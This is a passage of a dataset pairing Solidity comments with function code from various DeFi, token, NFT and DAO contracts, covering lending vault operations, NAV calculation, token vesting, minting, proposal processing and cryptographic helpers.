balance added to their stake according to the boost multiplier.\n if (boostLevel[msg.sender] > 0) {\n uint256 prevBalancesAccounting = _balancesAccounting[msg.sender];\n // Calculate and set user's new accounting balance\n uint256 accTotalMultiplier = getTotalMultiplier(msg.sender);\n uint256 newBalancesAccounting = _balances[msg.sender]\n .mul(accTotalMultiplier)\n .div(1e18)\n .sub(_balances[msg.sender]);\n _balancesAccounting[msg.sender] = newBalancesAccounting;\n // Adjust total accounting supply accordingly\n uint256 diffBalancesAccounting = newBalancesAccounting.sub(\n prevBalancesAccounting\n );\n _totalSupplyAccounting = _totalSupplyAccounting.add(\n diffBalancesAccounting\n );\n }\n\n emit Staked(msg.sender, amount);\n }", "version": "0.6.12"} {"comment": "// Returns the multiplier for user.", "function_code": "function getTotalMultiplier(address account) public view returns (uint256) {\n uint256 boostMultiplier = 0;\n if (boostLevel[account] == 1) {\n boostMultiplier = FivePercentBonus;\n } else if (boostLevel[account] == 2) {\n boostMultiplier = TwentyPercentBonus;\n } else if (boostLevel[account] == 3) {\n boostMultiplier = FourtyPercentBonus;\n } else if (boostLevel[account] == 4) {\n boostMultiplier = HundredPercentBonus;\n }\n return boostMultiplier.add(1 * 10**18);\n }", "version": "0.6.12"} {"comment": "// Distributes the dev fund for accounts", "function_code": "function distributeDevFund() public override {\n uint256 totalMulitplierDistributionAmount = multiplierTokenDevFund;\n multiplierTokenDevFund = 0;\n // Distribute multiplier dev fund according to percentages\n for (uint256 i = 0; i < devCount; i++) {\n uint256 devPercentage = devAllocations[devIDs[i]];\n uint256 allocation = totalMulitplierDistributionAmount\n .mul(devPercentage)\n .div(100);\n if (allocation > 0) {\n multiplierToken.safeTransfer(devIDs[i], allocation);\n }\n }\n // Distribute the staking token rewards\n super.distributeDevFund();\n }", "version": "0.6.12"} {"comment": "/// @notice Used to burn tokens and decrease total supply\n/// @param _amount The amount of TEMPLATE-TOKENToken tokens in wei to burn", "function_code": "function tokenBurner(uint256 _amount) public\r\n onlyOwner\r\n returns (bool burned)\r\n {\r\n require(_amount > 0);\r\n require(totalSupply.sub(_amount) > 0);\r\n require(balances[msg.sender] > _amount);\r\n require(balances[msg.sender].sub(_amount) > 0);\r\n totalSupply = totalSupply.sub(_amount);\r\n balances[msg.sender] = balances[msg.sender].sub(_amount);\r\n emit Transfer(msg.sender, 0, _amount);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/// @notice Reusable code to do sanity check of transfer variables", "function_code": "function transferCheck(address _sender, address _receiver, uint256 _amount)\r\n private\r\n constant\r\n returns (bool success)\r\n {\r\n require(!tokenIsFrozen);\r\n require(_amount > 0);\r\n require(_receiver != address(0));\r\n require(balances[_sender].sub(_amount) >= 0);\r\n require(balances[_receiver].add(_amount) > 0);\r\n require(balances[_receiver].add(_amount) > balances[_receiver]);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/**\n * @dev Deposit Vault's type collateral to activeProvider\n * call Controller checkrates\n * @param _collateralAmount: to be deposited\n * Emits a {Deposit} event.\n */", "function_code": "function deposit(uint256 _collateralAmount) public payable override {\n require(msg.value == _collateralAmount && _collateralAmount != 0, Errors.VL_AMOUNT_ERROR);\n\n // Alpha Whitelist Routine\n require(\n IAlphaWhiteList(_fujiAdmin.getaWhiteList()).whiteListRoutine(\n msg.sender,\n vAssets.collateralID,\n _collateralAmount,\n fujiERC1155\n ),\n Errors.SP_ALPHA_WHITELIST\n );\n\n // Delegate Call Deposit to current provider\n _deposit(_collateralAmount, address(activeProvider));\n\n // Collateral Management\n IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.collateralID, _collateralAmount, \"\");\n\n emit Deposit(msg.sender, vAssets.collateralAsset, _collateralAmount);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Withdraws Vault's type collateral from activeProvider\n * call Controller checkrates\n * @param _withdrawAmount: amount of collateral to withdraw\n * otherwise pass -1 to withdraw maximum amount possible of collateral (including safety factors)\n * Emits a {Withdraw} event.\n */", "function_code": "function withdraw(int256 _withdrawAmount) public override nonReentrant {\n // If call from Normal User do typical, otherwise Fliquidator\n if (msg.sender != _fujiAdmin.getFliquidator()) {\n updateF1155Balances();\n\n // Get User Collateral in this Vault\n uint256 providedCollateral =\n IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);\n\n // Check User has collateral\n require(providedCollateral > 0, Errors.VL_INVALID_COLLATERAL);\n\n // Get Required Collateral with Factors to maintain debt position healthy\n uint256 neededCollateral =\n getNeededCollateralFor(\n IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID),\n true\n );\n\n uint256 amountToWithdraw =\n _withdrawAmount < 0 ? providedCollateral.sub(neededCollateral) : uint256(_withdrawAmount);\n\n // Check Withdrawal amount, and that it will not fall undercollaterized.\n require(\n amountToWithdraw != 0 && providedCollateral.sub(amountToWithdraw) >= neededCollateral,\n Errors.VL_INVALID_WITHDRAW_AMOUNT\n );\n\n // Collateral Management before Withdraw Operation\n IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.collateralID, amountToWithdraw);\n\n // Delegate Call Withdraw to current provider\n _withdraw(amountToWithdraw, address(activeProvider));\n\n // Transer Assets to User\n IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, amountToWithdraw);\n\n emit Withdraw(msg.sender, vAssets.collateralAsset, amountToWithdraw);\n } else {\n // Logic used when called by Fliquidator\n _withdraw(uint256(_withdrawAmount), address(activeProvider));\n IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, uint256(_withdrawAmount));\n }\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Borrows Vault's type underlying amount from activeProvider\n * @param _borrowAmount: token amount of underlying to borrow\n * Emits a {Borrow} event.\n */", "function_code": "function borrow(uint256 _borrowAmount) public override nonReentrant {\n updateF1155Balances();\n\n uint256 providedCollateral =\n IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);\n\n // Get Required Collateral with Factors to maintain debt position healthy\n uint256 neededCollateral =\n getNeededCollateralFor(\n _borrowAmount.add(IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID)),\n true\n );\n\n // Check Provided Collateral is not Zero, and greater than needed to maintain healthy position\n require(\n _borrowAmount != 0 && providedCollateral > neededCollateral,\n Errors.VL_INVALID_BORROW_AMOUNT\n );\n\n // Debt Management\n IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.borrowID, _borrowAmount, \"\");\n\n // Delegate Call Borrow to current provider\n _borrow(_borrowAmount, address(activeProvider));\n\n // Transer Assets to User\n IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _borrowAmount);\n\n emit Borrow(msg.sender, vAssets.borrowAsset, _borrowAmount);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Paybacks Vault's type underlying to activeProvider\n * @param _repayAmount: token amount of underlying to repay, or pass -1 to repay full ammount\n * Emits a {Repay} event.\n */", "function_code": "function payback(int256 _repayAmount) public payable override {\n // If call from Normal User do typical, otherwise Fliquidator\n if (msg.sender != _fujiAdmin.getFliquidator()) {\n updateF1155Balances();\n\n uint256 userDebtBalance = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID);\n\n // Check User Debt is greater than Zero and amount is not Zero\n require(_repayAmount != 0 && userDebtBalance > 0, Errors.VL_NO_DEBT_TO_PAYBACK);\n\n // TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt\n\n // If passed argument amount is negative do MAX\n uint256 amountToPayback = _repayAmount < 0 ? userDebtBalance : uint256(_repayAmount);\n\n // Check User Allowance\n require(\n IERC20(vAssets.borrowAsset).allowance(msg.sender, address(this)) >= amountToPayback,\n Errors.VL_MISSING_ERC20_ALLOWANCE\n );\n\n // Transfer Asset from User to Vault\n IERC20(vAssets.borrowAsset).transferFrom(msg.sender, address(this), amountToPayback);\n\n // Delegate Call Payback to current provider\n _payback(amountToPayback, address(activeProvider));\n\n //TODO: Transfer corresponding Debt Amount to Fuji Treasury\n\n // Debt Management\n IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.borrowID, amountToPayback);\n\n emit Payback(msg.sender, vAssets.borrowAsset, userDebtBalance);\n } else {\n // Logic used when called by Fliquidator\n _payback(uint256(_repayAmount), address(activeProvider));\n }\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Changes Vault debt and collateral to newProvider, called by Flasher\n * @param _newProvider new provider's address\n * @param _flashLoanAmount amount of flashloan underlying to repay Flashloan\n * Emits a {Switch} event.\n */", "function_code": "function executeSwitch(\n address _newProvider,\n uint256 _flashLoanAmount,\n uint256 fee\n ) external override onlyFlash whenNotPaused {\n // Compute Ratio of transfer before payback\n uint256 ratio =\n _flashLoanAmount.mul(1e18).div(\n IProvider(activeProvider).getBorrowBalance(vAssets.borrowAsset)\n );\n\n // Payback current provider\n _payback(_flashLoanAmount, activeProvider);\n\n // Withdraw collateral proportional ratio from current provider\n uint256 collateraltoMove =\n IProvider(activeProvider).getDepositBalance(vAssets.collateralAsset).mul(ratio).div(1e18);\n\n _withdraw(collateraltoMove, activeProvider);\n\n // Deposit to the new provider\n _deposit(collateraltoMove, _newProvider);\n\n // Borrow from the new provider, borrowBalance + premium\n _borrow(_flashLoanAmount.add(fee), _newProvider);\n\n // return borrowed amount to Flasher\n IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _flashLoanAmount.add(fee));\n\n emit Switch(address(this), activeProvider, _newProvider, _flashLoanAmount, collateraltoMove);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Set Factors \"a\" and \"b\" for a Struct Factor\n * For safetyF; Sets Safety Factor of Vault, should be > 1, a/b\n * For collatF; Sets Collateral Factor of Vault, should be > 1, a/b\n * @param _newFactorA: Nominator\n * @param _newFactorB: Denominator\n * @param _isSafety: safetyF or collatF\n */", "function_code": "function setFactor(\n uint64 _newFactorA,\n uint64 _newFactorB,\n bool _isSafety\n ) external isAuthorized {\n if (_isSafety) {\n safetyF.a = _newFactorA;\n safetyF.b = _newFactorB;\n } else {\n collatF.a = _newFactorA;\n collatF.b = _newFactorB;\n }\n }", "version": "0.6.12"} {"comment": "/**\n * @dev External Function to call updateState in F1155\n */", "function_code": "function updateF1155Balances() public override {\n uint256 borrowBals;\n uint256 depositBals;\n\n // take into account all balances across providers\n uint256 length = providers.length;\n for (uint256 i = 0; i < length; i++) {\n borrowBals = borrowBals.add(IProvider(providers[i]).getBorrowBalance(vAssets.borrowAsset));\n }\n for (uint256 i = 0; i < length; i++) {\n depositBals = depositBals.add(\n IProvider(providers[i]).getDepositBalance(vAssets.collateralAsset)\n );\n }\n\n IFujiERC1155(fujiERC1155).updateState(vAssets.borrowID, borrowBals);\n IFujiERC1155(fujiERC1155).updateState(vAssets.collateralID, depositBals);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Returns an amount to be paid as bonus for liquidation\n * @param _amount: Vault underlying type intended to be liquidated\n * @param _flash: Flash or classic type of liquidation, bonus differs\n */", "function_code": "function getLiquidationBonusFor(uint256 _amount, bool _flash)\n external\n view\n override\n returns (uint256)\n {\n if (_flash) {\n // Bonus Factors for Flash Liquidation\n (uint64 a, uint64 b) = _fujiAdmin.getBonusFlashL();\n return _amount.mul(a).div(b);\n } else {\n //Bonus Factors for Normal Liquidation\n (uint64 a, uint64 b) = _fujiAdmin.getBonusLiq();\n return _amount.mul(a).div(b);\n }\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Returns the amount of collateral needed, including or not safety factors\n * @param _amount: Vault underlying type intended to be borrowed\n * @param _withFactors: Inidicate if computation should include safety_Factors\n */", "function_code": "function getNeededCollateralFor(uint256 _amount, bool _withFactors)\n public\n view\n override\n returns (uint256)\n {\n // Get price of DAI in ETH\n (, int256 latestPrice, , , ) = oracle.latestRoundData();\n uint256 minimumReq = (_amount.mul(1e12).mul(uint256(latestPrice))).div(_BASE);\n\n if (_withFactors) {\n return minimumReq.mul(collatF.a).mul(safetyF.a).div(collatF.b).div(safetyF.b);\n } else {\n return minimumReq;\n }\n }", "version": "0.6.12"} {"comment": "// The nft value & risk group is to be updated by authenticated oracles", "function_code": "function update(bytes32 nftID_, uint value, uint risk_) public auth {\n // the risk group has to exist\n require(thresholdRatio[risk_] != 0, \"threshold for risk group not defined\");\n\n // switch of collateral risk group results in new: ceiling, threshold and interest rate for existing loan\n // change to new rate interestRate immediately in pile if loan debt exists\n uint loan = shelf.nftlookup(nftID_);\n if (pile.pie(loan) != 0) {\n pile.changeRate(loan, risk_);\n }\n risk[nftID_] = risk_;\n nftValues[nftID_] = value;\n }", "version": "0.5.15"} {"comment": "// function checks if the borrow amount does not exceed the max allowed borrow amount (=ceiling)", "function_code": "function borrow(uint loan, uint amount) external auth returns (uint) {\n // increase borrowed amount -> note: max allowed borrow amount does not include accrued interest\n borrowed[loan] = safeAdd(borrowed[loan], amount);\n\n require(currentCeiling(loan) >= borrowed[loan], \"borrow-amount-too-high\");\n return amount;\n }", "version": "0.5.15"} {"comment": "// borrowEvent is called by the shelf in the borrow method", "function_code": "function borrowEvent(uint loan) public auth {\n uint risk_ = risk[nftID(loan)];\n\n // when issued every loan has per default interest rate of risk group 0.\n // correct interest rate has to be set on first borrow event\n if(pile.loanRates(loan) != risk_) {\n // set loan interest rate to the one of the correct risk group\n pile.setRate(loan, risk_);\n }\n }", "version": "0.5.15"} {"comment": "/// maturityDate is a unix timestamp", "function_code": "function file(bytes32 name, bytes32 nftID_, uint maturityDate_) public auth {\n // maturity date only can be changed when there is no debt on the collateral -> futureValue == 0\n if (name == \"maturityDate\") {\n require((futureValue[nftID_] == 0), \"can-not-change-maturityDate-outstanding-debt\");\n maturityDate[nftID_] = uniqueDayTimestamp(maturityDate_);\n } else { revert(\"unknown config parameter\");}\n }", "version": "0.5.15"} {"comment": "// On borrow: the discounted future value of the asset is computed based on the loan amount and addeed to the bucket with the according maturity Date", "function_code": "function _borrow(uint loan, uint amount) internal returns(uint navIncrease) {\n // ceiling check uses existing loan debt\n require(ceiling(loan) >= safeAdd(borrowed[loan], amount), \"borrow-amount-too-high\");\n\n bytes32 nftID_ = nftID(loan);\n uint maturityDate_ = maturityDate[nftID_];\n // maturity date has to be a value in the future\n require(maturityDate_ > block.timestamp, \"maturity-date-is-not-in-the-future\");\n\n // calculate amount including fixed fee if applicatable\n (, , , , uint fixedRate) = pile.rates(pile.loanRates(loan));\n uint amountIncludingFixed = safeAdd(amount, rmul(amount, fixedRate));\n // calculate future value FV\n uint fv = calcFutureValue(loan, amountIncludingFixed, maturityDate_, recoveryRatePD[risk[nftID_]].value);\n futureValue[nftID_] = safeAdd(futureValue[nftID_], fv);\n\n // add future value to the bucket of assets with the same maturity date\n if (buckets[maturityDate_].value == 0) {\n addBucket(maturityDate_, fv);\n } else {\n buckets[maturityDate_].value = safeAdd(buckets[maturityDate_].value, fv);\n }\n\n // increase borrowed amount for future ceiling computations\n borrowed[loan] = safeAdd(borrowed[loan], amount);\n\n // return increase NAV amount\n return calcDiscount(fv, uniqueDayTimestamp(block.timestamp), maturityDate_);\n }", "version": "0.5.15"} {"comment": "// calculate the future value based on the amount, maturityDate interestRate and recoveryRate", "function_code": "function calcFutureValue(uint loan, uint amount, uint maturityDate_, uint recoveryRatePD_) public returns(uint) {\n // retrieve interest rate from the pile\n (, ,uint loanInterestRate, ,) = pile.rates(pile.loanRates(loan));\n return rmul(rmul(rpow(loanInterestRate, safeSub(maturityDate_, uniqueDayTimestamp(now)), ONE), amount), recoveryRatePD_);\n }", "version": "0.5.15"} {"comment": "/// update the nft value and change the risk group", "function_code": "function update(bytes32 nftID_, uint value, uint risk_) public auth {\n nftValues[nftID_] = value;\n\n // no change in risk group\n if (risk_ == risk[nftID_]) {\n return;\n }\n\n // nfts can only be added to risk groups that are part of the score card\n require(thresholdRatio[risk_] != 0, \"risk group not defined in contract\");\n risk[nftID_] = risk_;\n\n // no currencyAmount borrowed yet\n if (futureValue[nftID_] == 0) {\n return;\n }\n\n uint loan = shelf.nftlookup(nftID_);\n uint maturityDate_ = maturityDate[nftID_];\n\n // Changing the risk group of an nft, might lead to a new interest rate for the dependant loan.\n // New interest rate leads to a future value.\n // recalculation required\n buckets[maturityDate_].value = safeSub(buckets[maturityDate_].value, futureValue[nftID_]);\n\n futureValue[nftID_] = calcFutureValue(loan, pile.debt(loan), maturityDate[nftID_], recoveryRatePD[risk[nftID_]].value);\n buckets[maturityDate_].value = safeAdd(buckets[maturityDate_].value, futureValue[nftID_]);\n }", "version": "0.5.15"} {"comment": "// In case of successful repayment the approximatedNAV is decreased by the repaid amount", "function_code": "function repay(uint loan, uint amount) external auth returns (uint navDecrease) {\n navDecrease = _repay(loan, amount);\n if (navDecrease > approximatedNAV) {\n approximatedNAV = 0;\n }\n\n if(navDecrease < approximatedNAV) {\n approximatedNAV = safeSub(approximatedNAV, navDecrease);\n return navDecrease;\n }\n\n approximatedNAV = 0;\n return navDecrease;\n }", "version": "0.5.15"} {"comment": "/// calculates the total discount of all buckets with a timestamp > block.timestamp", "function_code": "function calcTotalDiscount() public view returns(uint) {\n uint normalizedBlockTimestamp = uniqueDayTimestamp(block.timestamp);\n uint sum = 0;\n\n uint currDate = normalizedBlockTimestamp;\n\n if (currDate > lastBucket) {\n return 0;\n }\n\n // only buckets after the block.timestamp are relevant for the discount\n // assuming its more gas efficient to iterate over time to find the first one instead of iterating the list from the beginning\n // not true if buckets are only sparsely populated over long periods of time\n while(buckets[currDate].next == 0) { currDate = currDate + 1 days; }\n\n while(currDate != NullDate)\n {\n sum = safeAdd(sum, calcDiscount(buckets[currDate].value, normalizedBlockTimestamp, currDate));\n currDate = buckets[currDate].next;\n }\n return sum;\n }", "version": "0.5.15"} {"comment": "/// returns the NAV (net asset value) of the pool", "function_code": "function currentNAV() public view returns(uint) {\n // calculates the NAV for ongoing loans with a maturityDate date in the future\n uint nav_ = calcTotalDiscount();\n // include ovedue assets to the current NAV calculation\n for (uint i = 0; i < writeOffs.length; i++) {\n // multiply writeOffGroupDebt with the writeOff rate\n nav_ = safeAdd(nav_, rmul(pile.rateDebt(writeOffs[i].rateGroup), writeOffs[i].percentage.value));\n }\n return nav_;\n }", "version": "0.5.15"} {"comment": "//Claim tokens for first/second reserve wallets", "function_code": "function claimTokenReserve() onlyTokenReserve locked public {\r\n\r\n address reserveWallet = msg.sender;\r\n\r\n // Can't claim before Lock ends\r\n\r\n require(block.timestamp > timeLocks[reserveWallet]); \r\n\r\n // Must Only claim once\r\n\r\n require(claimed[reserveWallet] == 0); \r\n\r\n uint256 amount = allocations[reserveWallet];\r\n\r\n claimed[reserveWallet] = amount; // \u4e00\u6b21\u6027\u89e3\u9501\u53d1\u653e\r\n\r\n require(token.transfer(reserveWallet, amount));\r\n\r\n Distributed(reserveWallet, amount);\r\n\r\n }", "version": "0.4.26"} {"comment": "//Claim tokens for Libra team reserve wallet", "function_code": "function claimTeamReserve() onlyTeamReserve locked public {\r\n\r\n uint256 vestingStage = teamVestingStage(); \r\n\r\n //Amount of tokens the team should have at this vesting stage\r\n\r\n uint256 totalUnlocked = vestingStage.mul(allocations[teamReserveWallet]).div(teamVestingStages); // \u603b\u7684\u89e3\u9501\u91cf\r\n\r\n require(totalUnlocked <= allocations[teamReserveWallet]);\r\n\r\n //Previously claimed tokens must be less than what is unlocked\r\n\r\n require(claimed[teamReserveWallet] < totalUnlocked); \r\n\r\n uint256 payment = totalUnlocked.sub(claimed[teamReserveWallet]); \r\n\r\n claimed[teamReserveWallet] = totalUnlocked;\r\n\r\n require(token.transfer(teamReserveWallet, payment)); \r\n\r\n Distributed(teamReserveWallet, payment);\r\n\r\n }", "version": "0.4.26"} {"comment": "// ------------------------------------------------------------------------\n// 1,000 REKT Tokens per 1 ETH\n// ------------------------------------------------------------------------", "function_code": "function () public payable {\r\n require(now >= startDate && now <= endDate);\r\n uint tokens;\r\n if (now <= bonusEnds) {\r\n tokens = msg.value * 1200;\r\n } else {\r\n tokens = msg.value * 1000;\r\n }\r\n balances[msg.sender] = safeAdd(balances[msg.sender], tokens);\r\n _totalSupply = safeAdd(_totalSupply, tokens);\r\n Transfer(address(0), msg.sender, tokens);\r\n owner.transfer(msg.value);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Mints Fuego NFTs\r\n */", "function_code": "function mintFuego(uint numberOfTokens) public payable {\r\n require(saleIsActive, \"Sale must be active to mint Flames\");\r\n require(numberOfTokens <= maxFuegoPurchase, \"Can only mint 20 tokens at a time\");\r\n require(totalSupply().add(numberOfTokens) <= MAX_FUEGO, \"Purchase would exceed max supply of Flames\");\r\n require(FuegoPrice.mul(numberOfTokens) <= msg.value, \"Ether value sent is not correct\");\r\n \r\n for(uint i = 0; i < numberOfTokens; i++) {\r\n uint mintIndex = totalSupply();\r\n if (totalSupply() < MAX_FUEGO) {\r\n _safeMint(msg.sender, mintIndex);\r\n }\r\n }\r\n\r\n // If we haven't set the starting index and this is either 1) the last saleable token or 2) the first token to be sold after\r\n // the end of pre-sale, set the starting index block\r\n if (startingIndexBlock == 0 && (totalSupply() == MAX_FUEGO || block.timestamp >= REVEAL_TIMESTAMP)) {\r\n startingIndexBlock = block.number;\r\n } \r\n }", "version": "0.7.0"} {"comment": "/**\n * @notice Creates a proposal to replace, remove or add an adapter.\n * @dev If the adapterAddress is equal to 0x0, the adapterId is removed from the registry if available.\n * @dev If the adapterAddress is a reserved address, it reverts.\n * @dev keys and value must have the same length.\n * @dev proposalId can not be reused.\n * @param dao The dao address.\n * @param proposalId Tproposal details\n * @param proposal The proposal details\n * @param data Additional data to pass to the voting contract and identify the submitter\n */", "function_code": "function submitProposal(\n DaoRegistry dao,\n bytes32 proposalId,\n ProposalDetails calldata proposal,\n Configuration[] memory configs,\n bytes calldata data\n ) external override onlyMember(dao) reentrancyGuard(dao) {\n require(\n proposal.keys.length == proposal.values.length,\n \"must be an equal number of config keys and values\"\n );\n\n require(\n proposal.extensionAddresses.length ==\n proposal.extensionAclFlags.length,\n \"must be an equal number of extension addresses and acl\"\n );\n\n require(\n isNotReservedAddress(proposal.adapterOrExtensionAddr),\n \"address is reserved\"\n );\n\n dao.submitProposal(proposalId);\n\n proposals[address(dao)][proposalId] = proposal;\n\n Configuration[] storage newConfigs = configurations[address(dao)][\n proposalId\n ];\n for (uint256 i = 0; i < configs.length; i++) {\n Configuration memory config = configs[i];\n newConfigs.push(\n Configuration({\n key: config.key,\n configType: config.configType,\n numericValue: config.numericValue,\n addressValue: config.addressValue\n })\n );\n }\n\n IVoting votingContract = IVoting(dao.getAdapterAddress(VOTING));\n\n address senderAddress = votingContract.getSenderAddress(\n dao,\n address(this),\n data,\n msg.sender\n );\n\n dao.sponsorProposal(proposalId, senderAddress, address(votingContract));\n votingContract.startNewVotingForProposal(dao, proposalId, data);\n }", "version": "0.8.10"} {"comment": "/**\n * @notice Processes a proposal that was sponsored.\n * @dev Only members can process a proposal.\n * @dev Only if the voting pass the proposal is processed.\n * @dev Reverts when the adapter address is already in use and it is an adapter addition.\n * @dev Reverts when the extension address is already in use and it is an extension addition.\n * @param dao The dao address.\n * @param proposalId The proposal id.\n */", "function_code": "function processProposal(DaoRegistry dao, bytes32 proposalId)\n external\n override\n reentrancyGuard(dao)\n {\n ProposalDetails memory proposal = proposals[address(dao)][proposalId];\n\n IVoting votingContract = IVoting(dao.votingAdapter(proposalId));\n require(address(votingContract) != address(0), \"adapter not found\");\n\n require(\n votingContract.voteResult(dao, proposalId) ==\n IVoting.VotingState.PASS,\n \"proposal did not pass\"\n );\n\n dao.processProposal(proposalId);\n if (proposal.updateType == UpdateType.ADAPTER) {\n dao.replaceAdapter(\n proposal.adapterOrExtensionId,\n proposal.adapterOrExtensionAddr,\n proposal.flags,\n proposal.keys,\n proposal.values\n );\n } else if (proposal.updateType == UpdateType.EXTENSION) {\n _replaceExtension(dao, proposal);\n } else {\n revert(\"unknown update type\");\n }\n _grantExtensionAccess(dao, proposal);\n _saveDaoConfigurations(dao, proposalId);\n }", "version": "0.8.10"} {"comment": "/**\n * @notice If the extension is already registered, it removes the extension from the DAO Registry.\n * @notice If the adapterOrExtensionAddr is provided, the new address is added as a new extension to the DAO Registry.\n */", "function_code": "function _replaceExtension(DaoRegistry dao, ProposalDetails memory proposal)\n internal\n {\n if (dao.extensions(proposal.adapterOrExtensionId) != address(0x0)) {\n dao.removeExtension(proposal.adapterOrExtensionId);\n }\n\n if (proposal.adapterOrExtensionAddr != address(0x0)) {\n dao.addExtension(\n proposal.adapterOrExtensionId,\n IExtension(proposal.adapterOrExtensionAddr),\n // The creator of the extension must be set as the DAO owner,\n // which is stored at index 0 in the members storage.\n dao.getMemberAddress(0)\n );\n }\n }", "version": "0.8.10"} {"comment": "/**\n * @notice Saves to the DAO Registry the ACL Flag that grants the access to the given `extensionAddresses`\n */", "function_code": "function _grantExtensionAccess(\n DaoRegistry dao,\n ProposalDetails memory proposal\n ) internal {\n for (uint256 i = 0; i < proposal.extensionAclFlags.length; i++) {\n dao.setAclToExtensionForAdapter(\n // It needs to be registered as extension\n proposal.extensionAddresses[i],\n // It needs to be registered as adapter\n proposal.adapterOrExtensionAddr,\n // Indicate which access level will be granted\n proposal.extensionAclFlags[i]\n );\n }\n }", "version": "0.8.10"} {"comment": "/**\n * @notice Saves the numeric/address configurations to the DAO registry\n */", "function_code": "function _saveDaoConfigurations(DaoRegistry dao, bytes32 proposalId)\n internal\n {\n Configuration[] memory configs = configurations[address(dao)][\n proposalId\n ];\n\n for (uint256 i = 0; i < configs.length; i++) {\n Configuration memory config = configs[i];\n if (ConfigType.NUMERIC == config.configType) {\n dao.setConfiguration(config.key, config.numericValue);\n } else if (ConfigType.ADDRESS == config.configType) {\n dao.setAddressConfiguration(config.key, config.addressValue);\n }\n }\n }", "version": "0.8.10"} {"comment": "/// @return the negation of p, i.e. p.add(p.negate()) should be zero.", "function_code": "function negate(G1Point memory p) internal pure returns (G1Point memory) {\r\n // The prime q in the base field F_q for G1\r\n uint q = 21888242871839275222246405745257275088696311157297823662689037894645226208583;\r\n if (p.X == 0 && p.Y == 0)\r\n return G1Point(0, 0);\r\n return G1Point(p.X, q - (p.Y % q));\r\n }", "version": "0.5.0"} {"comment": "/// @return the sum of two points of G1", "function_code": "function pointAdd(G1Point memory p1, G1Point memory p2)\r\n internal view returns (G1Point memory r)\r\n {\r\n uint[4] memory input;\r\n input[0] = p1.X;\r\n input[1] = p1.Y;\r\n input[2] = p2.X;\r\n input[3] = p2.Y;\r\n bool success;\r\n assembly {\r\n success := staticcall(sub(gas, 2000), 6, input, 0xc0, r, 0x60)\r\n }\r\n require(success);\r\n }", "version": "0.5.0"} {"comment": "/// @return the product of a point on G1 and a scalar, i.e.\n/// p == p.mul(1) and p.add(p) == p.mul(2) for all points p.", "function_code": "function pointMul(G1Point memory p, uint s)\r\n internal view returns (G1Point memory r)\r\n {\r\n uint[3] memory input;\r\n input[0] = p.X;\r\n input[1] = p.Y;\r\n input[2] = s;\r\n bool success;\r\n assembly {\r\n success := staticcall(sub(gas, 2000), 7, input, 0x80, r, 0x60)\r\n }\r\n require (success);\r\n }", "version": "0.5.0"} {"comment": "/// @return the result of computing the pairing check\n/// e(p1[0], p2[0]) * .... * e(p1[n], p2[n]) == 1\n/// For example pairing([P1(), P1().negate()], [P2(), P2()]) should\n/// return true.", "function_code": "function pairing(G1Point[] memory p1, G2Point[] memory p2)\r\n internal view returns (bool)\r\n {\r\n require(p1.length == p2.length);\r\n uint elements = p1.length;\r\n uint inputSize = elements * 6;\r\n uint[] memory input = new uint[](inputSize);\r\n for (uint i = 0; i < elements; i++)\r\n {\r\n input[i * 6 + 0] = p1[i].X;\r\n input[i * 6 + 1] = p1[i].Y;\r\n input[i * 6 + 2] = p2[i].X[0];\r\n input[i * 6 + 3] = p2[i].X[1];\r\n input[i * 6 + 4] = p2[i].Y[0];\r\n input[i * 6 + 5] = p2[i].Y[1];\r\n }\r\n uint[1] memory out;\r\n bool success;\r\n assembly {\r\n success := staticcall(sub(gas, 2000), 8, add(input, 0x20), mul(inputSize, 0x20), out, 0x20)\r\n }\r\n require(success);\r\n return out[0] != 0;\r\n }", "version": "0.5.0"} {"comment": "/// Convenience method for a pairing check for two pairs.", "function_code": "function pairingProd2(G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2)\r\n internal view returns (bool)\r\n {\r\n G1Point[] memory p1 = new G1Point[](2);\r\n G2Point[] memory p2 = new G2Point[](2);\r\n p1[0] = a1;\r\n p1[1] = b1;\r\n p2[0] = a2;\r\n p2[1] = b2;\r\n return pairing(p1, p2);\r\n }", "version": "0.5.0"} {"comment": "/// Convenience method for a pairing check for four pairs.", "function_code": "function pairingProd4(\r\n G1Point memory a1, G2Point memory a2,\r\n G1Point memory b1, G2Point memory b2,\r\n G1Point memory c1, G2Point memory c2,\r\n G1Point memory d1, G2Point memory d2\r\n )\r\n internal view returns (bool)\r\n {\r\n G1Point[] memory p1 = new G1Point[](4);\r\n G2Point[] memory p2 = new G2Point[](4);\r\n p1[0] = a1;\r\n p1[1] = b1;\r\n p1[2] = c1;\r\n p1[3] = d1;\r\n p2[0] = a2;\r\n p2[1] = b2;\r\n p2[2] = c2;\r\n p2[3] = d2;\r\n return pairing(p1, p2);\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * MiMC-p/p with exponent of 7\r\n * \r\n * Recommended at least 46 rounds, for a polynomial degree of 2^126\r\n */", "function_code": "function MiMCpe7( uint256 in_x, uint256 in_k, uint256 in_seed, uint256 round_count )\r\n internal pure returns(uint256 out_x)\r\n {\r\n assembly {\r\n if lt(round_count, 1) { revert(0, 0) }\r\n\r\n // Initialise round constants, k will be hashed\r\n let c := mload(0x40)\r\n mstore(0x40, add(c, 32))\r\n mstore(c, in_seed)\r\n\r\n 